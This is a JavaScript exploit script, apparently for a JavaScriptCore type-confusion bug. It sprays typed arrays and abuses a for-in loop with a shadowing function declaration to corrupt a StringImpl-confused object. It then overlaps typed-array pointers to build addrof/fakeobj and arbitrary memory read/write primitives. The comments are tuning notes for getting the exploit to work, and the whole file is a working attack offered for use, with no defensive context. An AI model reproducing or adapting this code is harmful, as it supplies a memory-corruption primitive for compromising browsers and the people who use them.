//for addrof&fakeobj
var leaker_obj = {a: 0};
var leaker_arr = new Uint32Array(6);

//for arbitrary r/w
var oob_slave = new Uint8Array(1024);
var oob_master = new Uint32Array(7);

var spray = [];

function spray_one()
{
    var x = new Uint32Array(1);
    x[spray.length+'spray'] = 123;
    spray.push(x);
}

//spray Uint32Arrays
for(var i = 0; i < 0x10000; i++)
    spray_one();

//5678 is the length, see the original exploit for explanation of a
var target = {a: 2.1100820415101592e-303, b: false, c: true, d: 5678};
//crash if this second target is not present. not used anywhere, try removing if it crashes
var target2 = {a: 2.1100820415101592e-303, b: false, c: true, e: 5678};

var impl_idx = 0;

//type-confused with WTF::StringImpl
function create_impl()
{
    var ans = {a: target}; //a is type-confused with m_hashAndFlags
    for(var i = 0; i < 32; i++)
        ans[(impl_idx++)+'x'] = {};
    return ans;
}

function trigger(x)
{
    if(impl.a != target)
    {
        print("wtf?");
        while(1);
    }
    var o = {a: 1}; //a is type-confused with m_impl
    for(var i in o)
    {
        {
            i = x;
            function i(){}
        }
        o[i]; //this sets bit 4 (|= 16) in m_hashAndFlags
    }
    if(impl.a != target)
    {
        print("corrupted!");
        print(typeof (impl.a)); //object
        print(impl.a.length); //5678
        target.c = leaker_obj;
        leaker_obj.a = leaker_obj;
        var l1 = impl.a[4];
        var l2 = impl.a[5];
        leaker_obj.a = oob_slave;
        var s1 = impl.a[4];
        var s2 = impl.a[5];
        target.c = leaker_arr;
        impl.a[4] = l1;
        impl.a[5] = l2;
        target.c = oob_master;
        impl.a[4] = s1;
        impl.a[5] = s2;
        impl.a = target;
        print([l1, l2, s1, s2]);
        throw "exploit fucking finished";
    }
}

try
{
    for(var _ = 0; _ < 1024; _++)
    {
        var impl = create_impl(); //JSString::toIdentifier checks some bits in the type-confused structure ID, so iterate over those
        var s = {a: impl};
        trigger(s);
    }
}
catch(e)
{
    print("error: "+e);
}
